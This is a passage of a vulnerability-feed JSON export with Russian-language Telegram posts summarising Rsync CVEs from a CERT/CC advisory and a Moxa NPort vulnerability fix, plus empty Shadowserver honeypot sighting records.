\u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.635800Z"}, {"uuid": "6e91b463-7dfa-44b4-b078-b68e5fc8c9d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "\u26a1 \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u0435 Positive Technologies \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u0430\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 NPort W2150A \u0438 W2250A \u2014 \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 Wi-Fi \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u0438 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u0438. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0431\u044b\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\ud83e\udd77 \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u00ab\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0447\u0440\u0435\u0432\u0430\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u00bb, \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220 (BDU:2024-01811) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS v3.1, \u0447\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\ud83d\udca1 \u041f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u043b\u0438 \u044f\u043a\u043e\u0431\u044b \u0433\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u043d\u0430 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u0442\u043e \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u0431\u044b\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441 \u043c\u043e\u0449\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0435\u043d\u043d\u0430\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0438\u043b\u0438\u0442\u044c \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b \u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0438\u0437-\u0437\u0430 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0435\u0449\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0431\u044b \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b Moxa, \u0438\u043b\u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043d\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b.\n\n\ud83d\udc40 \u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u2014 PT Industrial Security Incident Manager. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Moxa, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0443\u0436\u0431\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u0445.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-27T00:01:26.557890Z"}, {"uuid": "fab1be89-3639-4829-9367-7358d4dc4480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:00:02.613208Z"}, {"uuid": "2885a1a0-deee-43aa-9b34-cd9415e014c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-26)", "content": "", "creation_timestamp": "2026-07-27T10:00:04.015001Z"}, {"uuid": "d1ee5965-fd59-46b6-b9c2-bccdc6755dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-26)", "content": "", "creation_timestamp": "2026-07-27T10:15:03.891139Z"}, {"uuid": "f0c5a9ad-a702-4e4a-8f89-7ddc5c552a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 